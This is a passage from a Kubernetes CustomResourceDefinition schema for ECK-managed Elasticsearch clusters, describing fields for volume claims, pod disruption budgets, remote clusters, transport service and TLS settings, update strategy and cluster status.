                                        (Alpha) This field requires the CrossNamespaceVolumeDataSource feature gate to be enabled.
                                      type: string
                                  required:
                                  - kind
                                  - name
                                  type: object
                                resources:
                                  description: |-
                                    resources represents the minimum resources the volume should have.
                                    If RecoverVolumeExpansionFailure feature is enabled users are allowed to specify resource requirements
                                    that are lower than previous value but must still be higher than capacity recorded in the
                                    status field of the claim.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#resources
                                  properties:
                                    limits:
                                      additionalProperties:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                        x-kubernetes-int-or-string: true
                                      description: |-
                                        Limits describes the maximum amount of compute resources allowed.
                                        More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                      type: object
                                    requests:
                                      additionalProperties:
                                        anyOf:
                                        - type: integer
                                        - type: string
                                        pattern: ^(\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))(([KMGTPE]i)|[numkMGTPE]|([eE](\+|-)?(([0-9]+(\.[0-9]*)?)|(\.[0-9]+))))?$
                                        x-kubernetes-int-or-string: true
                                      description: |-
                                        Requests describes the minimum amount of compute resources required.
                                        If Requests is omitted for a container, it defaults to Limits if that is explicitly specified,
                                        otherwise to an implementation-defined value. Requests cannot exceed Limits.
                                        More info: https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/
                                      type: object
                                  type: object
                                selector:
                                  description: selector is a label query over volumes
                                    to consider for binding.
                                  properties:
                                    matchExpressions:
                                      description: matchExpressions is a list of label
                                        selector requirements. The requirements are
                                        ANDed.
                                      items:
                                        description: |-
                                          A label selector requirement is a selector that contains values, a key, and an operator that
                                          relates the key and values.
                                        properties:
                                          key:
                                            description: key is the label key that
                                              the selector applies to.
                                            type: string
                                          operator:
                                            description: |-
                                              operator represents a key's relationship to a set of values.
                                              Valid operators are In, NotIn, Exists and DoesNotExist.
                                            type: string
                                          values:
                                            description: |-
                                              values is an array of string values. If the operator is In or NotIn,
                                              the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                              the values array must be empty. This array is replaced during a strategic
                                              merge patch.
                                            items:
                                              type: string
                                            type: array
                                            x-kubernetes-list-type: atomic
                                        required:
                                        - key
                                        - operator
                                        type: object
                                      type: array
                                      x-kubernetes-list-type: atomic
                                    matchLabels:
                                      additionalProperties:
                                        type: string
                                      description: |-
                                        matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                        map is equivalent to an element of matchExpressions, whose key field is "key", the
                                        operator is "In", and the values array contains only "value". The requirements are ANDed.
                                      type: object
                                  type: object
                                  x-kubernetes-map-type: atomic
                                storageClassName:
                                  description: |-
                                    storageClassName is the name of the StorageClass required by the claim.
                                    More info: https://kubernetes.io/docs/concepts/storage/persistent-volumes#class-1
                                  type: string
                                volumeAttributesClassName:
                                  description: |-
                                    volumeAttributesClassName may be used to set the VolumeAttributesClass used by this claim.
                                    If specified, the CSI driver will create or update the volume with the attributes defined
                                    in the corresponding VolumeAttributesClass. This has a different purpose than storageClassName,
                                    it can be changed after the claim is created. An empty string value means that no VolumeAttributesClass
                                    will be applied to the claim but it's not allowed to reset this field to empty string once it is set.
                                    If unspecified and the PersistentVolumeClaim is unbound, the default VolumeAttributesClass
                                    will be set by the persistentvolume controller if it exists.
                                    If the resource referred to by volumeAttributesClass does not exist, this PersistentVolumeClaim will be
                                    set to a Pending state, as reflected by the modifyVolumeStatus field, until such as a resource
                                    exists.
                                    More info: https://kubernetes.io/docs/concepts/storage/volume-attributes-classes/
                                    (Alpha) Using this field requires the VolumeAttributesClass feature gate to be enabled.
                                  type: string
                                volumeMode:
                                  description: |-
                                    volumeMode defines what type of volume is required by the claim.
                                    Value of Filesystem is implied when not included in claim spec.
                                  type: string
                                volumeName:
                                  description: volumeName is the binding reference
                                    to the PersistentVolume backing this claim.
                                  type: string
                              type: object
                          type: object
                        type: array
                    required:
                    - name
                    type: object
                  minItems: 1
                  type: array
                podDisruptionBudget:
                  description: |-
                    PodDisruptionBudget provides access to the default Pod disruption budget for the Elasticsearch cluster.
                    The default budget doesn't allow any Pod to be removed in case the cluster is not green or if there is only one node of type `data` or `master`.
                    In all other cases the default PodDisruptionBudget sets `minUnavailable` equal to the total number of nodes minus 1.
                    To disable, set `PodDisruptionBudget` to the empty value (`{}` in YAML).
                  properties:
                    metadata:
                      description: |-
                        ObjectMeta is the metadata of the PDB.
                        The name and namespace provided here are managed by ECK and will be ignored.
                      properties:
                        annotations:
                          additionalProperties:
                            type: string
                          type: object
                        finalizers:
                          items:
                            type: string
                          type: array
                        labels:
                          additionalProperties:
                            type: string
                          type: object
                        name:
                          type: string
                        namespace:
                          type: string
                      type: object
                    spec:
                      description: Spec is the specification of the PDB.
                      properties:
                        maxUnavailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            An eviction is allowed if at most "maxUnavailable" pods selected by
                            "selector" are unavailable after the eviction, i.e. even in absence of
                            the evicted pod. For example, one can prevent all voluntary evictions
                            by specifying 0. This is a mutually exclusive setting with "minAvailable".
                          x-kubernetes-int-or-string: true
                        minAvailable:
                          anyOf:
                          - type: integer
                          - type: string
                          description: |-
                            An eviction is allowed if at least "minAvailable" pods selected by
                            "selector" will still be available after the eviction, i.e. even in the
                            absence of the evicted pod.  So for example you can prevent all voluntary
                            evictions by specifying "100%".
                          x-kubernetes-int-or-string: true
                        selector:
                          description: |-
                            Label query over pods whose evictions are managed by the disruption
                            budget.
                            A null selector will match no pods, while an empty ({}) selector will select
                            all pods within the namespace.
                          properties:
                            matchExpressions:
                              description: matchExpressions is a list of label selector
                                requirements. The requirements are ANDed.
                              items:
                                description: |-
                                  A label selector requirement is a selector that contains values, a key, and an operator that
                                  relates the key and values.
                                properties:
                                  key:
                                    description: key is the label key that the selector
                                      applies to.
                                    type: string
                                  operator:
                                    description: |-
                                      operator represents a key's relationship to a set of values.
                                      Valid operators are In, NotIn, Exists and DoesNotExist.
                                    type: string
                                  values:
                                    description: |-
                                      values is an array of string values. If the operator is In or NotIn,
                                      the values array must be non-empty. If the operator is Exists or DoesNotExist,
                                      the values array must be empty. This array is replaced during a strategic
                                      merge patch.
                                    items:
                                      type: string
                                    type: array
                                    x-kubernetes-list-type: atomic
                                required:
                                - key
                                - operator
                                type: object
                              type: array
                              x-kubernetes-list-type: atomic
                            matchLabels:
                              additionalProperties:
                                type: string
                              description: |-
                                matchLabels is a map of {key,value} pairs. A single {key,value} in the matchLabels
                                map is equivalent to an element of matchExpressions, whose key field is "key", the
                                operator is "In", and the values array contains only "value". The requirements are ANDed.
                              type: object
                          type: object
                          x-kubernetes-map-type: atomic
                        unhealthyPodEvictionPolicy:
                          description: |-
                            UnhealthyPodEvictionPolicy defines the criteria for when unhealthy pods
                            should be considered for eviction. Current implementation considers healthy pods,
                            as pods that have status.conditions item with type="Ready",status="True".


                            Valid policies are IfHealthyBudget and AlwaysAllow.
                            If no policy is specified, the default behavior will be used,
                            which corresponds to the IfHealthyBudget policy.


                            IfHealthyBudget policy means that running pods (status.phase="Running"),
                            but not yet healthy can be evicted only if the guarded application is not
                            disrupted (status.currentHealthy is at least equal to status.desiredHealthy).
                            Healthy pods will be subject to the PDB for eviction.


                            AlwaysAllow policy means that all running pods (status.phase="Running"),
                            but not yet healthy are considered disrupted and can be evicted regardless
                            of whether the criteria in a PDB is met. This means perspective running
                            pods of a disrupted application might not get a chance to become healthy.
                            Healthy pods will be subject to the PDB for eviction.


                            Additional policies may be added in the future.
                            Clients making eviction decisions should disallow eviction of unhealthy pods
                            if they encounter an unrecognized policy in this field.


                            This field is beta-level. The eviction API uses this field when
                            the feature gate PDBUnhealthyPodEvictionPolicy is enabled (enabled by default).
                          type: string
                      type: object
                  type: object
                remoteClusters:
                  description: RemoteClusters enables you to establish uni-directional
                    connections to a remote Elasticsearch cluster.
                  items:
                    description: RemoteCluster declares a remote Elasticsearch cluster
                      connection.
                    properties:
                      elasticsearchRef:
                        description: ElasticsearchRef is a reference to an Elasticsearch
                          cluster running within the same k8s cluster.
                        properties:
                          name:
                            description: Name of an existing Kubernetes object corresponding
                              to an Elastic resource managed by ECK.
                            type: string
                          namespace:
                            description: Namespace of the Kubernetes object. If empty,
                              defaults to the current namespace.
                            type: string
                          serviceName:
                            description: |-
                              ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                              object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                              the referenced resource is used.
                            type: string
                        type: object
                      name:
                        description: |-
                          Name is the name of the remote cluster as it is set in the Elasticsearch settings.
                          The name is expected to be unique for each remote clusters.
                        minLength: 1
                        type: string
                    required:
                    - name
                    type: object
                  type: array
                revisionHistoryLimit:
                  description: RevisionHistoryLimit is the number of revisions to
                    retain to allow rollback in the underlying StatefulSets.
                  format: int32
                  type: integer
                secureSettings:
                  description: SecureSettings is a list of references to Kubernetes
                    secrets containing sensitive configuration options for Elasticsearch.
                  items:
                    description: SecretSource defines a data source based on a Kubernetes
                      Secret.
                    properties:
                      entries:
                        description: |-
                          Entries define how to project each key-value pair in the secret to filesystem paths.
                          If not defined, all keys will be projected to similarly named paths in the filesystem.
                          If defined, only the specified keys will be projected to the corresponding paths.
                        items:
                          description: KeyToPath defines how to map a key in a Secret
                            object to a filesystem path.
                          properties:
                            key:
                              description: Key is the key contained in the secret.
                              type: string
                            path:
                              description: |-
                                Path is the relative file path to map the key to.
                                Path must not be an absolute file path and must not contain any ".." components.
                              type: string
                          required:
                          - key
                          type: object
                        type: array
                      secretName:
                        description: SecretName is the name of the secret.
                        type: string
                    required:
                    - secretName
                    type: object
                  type: array
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. a remote Elasticsearch cluster) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                transport:
                  description: Transport holds transport layer settings for Elasticsearch.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS on the
                        transport layer.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the CA certificate
                            and private key for generating node certificates.
                            The referenced secret should contain the following:


                            - `ca.crt`: The CA certificate in PEM format.
                            - `ca.key`: The private key for the CA certificate in PEM format.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        certificateAuthorities:
                          description: |-
                            CertificateAuthorities is a reference to a config map that contains one or more x509 certificates for
                            trusted authorities in PEM format. The certificates need to be in a file called `ca.crt`.
                          properties:
                            configMapName:
                              type: string
                          type: object
                        otherNameSuffix:
                          description: |-
                            OtherNameSuffix when defined will be prefixed with the Pod name and used as the common name,
                            and the first DNSName, as well as an OtherName required by Elasticsearch in the Subject Alternative Name
                            extension of each Elasticsearch node's transport TLS certificate.
                            Example: if set to "node.cluster.local", the generated certificate will have its otherName set to "<pod_name>.node.cluster.local".
                          type: string
                        selfSignedCertificates:
                          description: SelfSignedCertificates allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that provisioning of
                                the self-signed certificates should be disabled.
                              type: boolean
                          type: object
                        subjectAltNames:
                          description: SubjectAlternativeNames is a list of SANs to
                            include in the generated node transport TLS certificates.
                          items:
                            description: SubjectAlternativeName represents a SAN entry
                              in a x509 certificate.
                            properties:
                              dns:
                                description: DNS is the DNS name of the subject.
                                type: string
                              ip:
                                description: IP is the IP address of the subject.
                                type: string
                            type: object
                          type: array
                      type: object
                  type: object
                updateStrategy:
                  description: UpdateStrategy specifies how updates to the cluster
                    should be performed.
                  properties:
                    changeBudget:
                      description: ChangeBudget defines the constraints to consider
                        when applying changes to the Elasticsearch cluster.
                      properties:
                        maxSurge:
                          description: |-
                            MaxSurge is the maximum number of new Pods that can be created exceeding the original number of Pods defined in
                            the specification. MaxSurge is only taken into consideration when scaling up. Setting a negative value will
                            disable the restriction. Defaults to unbounded if not specified.
                          format: int32
                          type: integer
                        maxUnavailable:
                          description: |-
                            MaxUnavailable is the maximum number of Pods that can be unavailable (not ready) during the update due to
                            circumstances under the control of the operator. Setting a negative value will disable this restriction.
                            Defaults to 1 if not specified.
                          format: int32
                          type: integer
                      type: object
                  type: object
                version:
                  description: Version of Elasticsearch.
                  type: string
                volumeClaimDeletePolicy:
                  description: |-
                    VolumeClaimDeletePolicy sets the policy for handling deletion of PersistentVolumeClaims for all NodeSets.
                    Possible values are DeleteOnScaledownOnly and DeleteOnScaledownAndClusterDeletion. Defaults to DeleteOnScaledownAndClusterDeletion.
                  enum:
                  - DeleteOnScaledownOnly
                  - DeleteOnScaledownAndClusterDeletion
                  type: string
              required:
              - nodeSets
              - version
              type: object
            status:
              description: ElasticsearchStatus represents the observed state of Elasticsearch.
              properties:
                availableNodes:
                  description: AvailableNodes is the number of available instances.
                  format: int32
                  type: integer
                conditions:
                  description: |-
                    Conditions holds the current service state of an Elasticsearch cluster.
                    **This API is in technical preview and may be changed or removed in a future release.**
                  items:
                    description: |-
                      Condition represents Elasticsearch resource's condition.
                      **This API is in technical preview and may be changed or removed in a future release.**
                    properties:
                      lastTransitionTime:
                        format: date-time
                        type: string
                      message:
                        type: string
                      status:
                        type: string
                      type:
                        description: ConditionType defines the condition of an Elasticsearch
                          resource.
                        type: string
                    required:
                    - status
                    - type
                    type: object
                  type: array
                health:
                  description: ElasticsearchHealth is the health of the cluster as
                    returned by the health API.
                  type: string
                inProgressOperations:
                  description: |-
                    InProgressOperations represents changes being applied by the operator to the Elasticsearch cluster.
                    **This API is in technical preview and may be changed or removed in a future release.**
                  properties:
                    downscale:
                      description: |-
                        DownscaleOperation provides details about in progress downscale operations.
                        **This API is in technical preview and may be changed or removed in a future release.**
                      properties:
                        lastUpdatedTime:
                          format: date-time
                          type: string
                        nodes:
                          description: Nodes which are scheduled to be removed from
                            the cluster.
                          items:
                            description: |-
                              DownscaledNode provides an overview of in progress changes applied by the operator to remove Elasticsearch nodes from the cluster.
                              **This API is in technical preview and may be changed or removed in a future release.**
                            properties:
                              explanation:
                                description: |-
                                  Explanation provides details about an in progress node shutdown. It is only available for clusters managed with the
                                  Elasticsearch shutdown API.
                                type: string
                              name:
                                description: Name of the Elasticsearch node that should
                                  be removed.
                                type: string
                              shutdownStatus:
                                description: |-
                                  Shutdown status as returned by the Elasticsearch shutdown API.
                                  If the Elasticsearch shutdown API is not available, the shutdown status is then inferred from the remaining
                                  shards on the nodes, as observed by the operator.
                                type: string
                            required:
                            - name
                            - shutdownStatus
                            type: object
                          type: array
                        stalled:
                          description: |-
                            Stalled represents a state where no progress can be made.
                            It is only available for clusters managed with the Elasticsearch shutdown API.
                          type: boolean
                      type: object
                    upgrade:
                      description: |-
                        UpgradeOperation provides an overview of the pending or in progress changes applied by the operator to update the Elasticsearch nodes in the cluster.
                        **This API is in technical preview and may be changed or removed in a future release.**
                      properties:
                        lastUpdatedTime:
                          format: date-time
                          type: string
                        nodes:
                          description: Nodes that must be restarted for upgrade.
                          items:
                            description: |-
                              UpgradedNode provides details about the status of nodes which are expected to be updated.
                              **This API is in technical preview and may be changed or removed in a future release.**
                            properties:
                              message:
                                description: Optional message to explain why a node
                                  may not be immediately restarted for upgrade.
                                type: string
                              name:
                                description: Name of the Elasticsearch node that should
                                  be upgraded.
                                type: string
                              predicate:
                                description: Predicate is the name of the predicate
                                  currently preventing this node from being deleted
                                  for an upgrade.
                                type: string
                              status:
                                description: |-
                                  Status states if the node is either in the process of being deleted for an upgrade,
                                  or blocked by a predicate or another condition stated in the message field.
                                type: string
                            required:
                            - name
                            - status
                            type: object
                          type: array
                      type: object
                    upscale:
                      description: |-
                        UpscaleOperation provides an overview of in progress changes applied by the operator to add Elasticsearch nodes to the cluster.
                        **This API is in technical preview and may be changed or removed in a future release.**
                      properties:
                        lastUpdatedTime:
                          format: date-time
                          type: string
                        nodes:
                          description: Nodes expected to be added by the operator.
                          items:
                            properties:
                              message:
                                description: Optional message to explain why a node
                                  may not be immediately added.
                                type: string
                              name:
                                description: Name of the Elasticsearch node that should
                                  be added to the cluster.
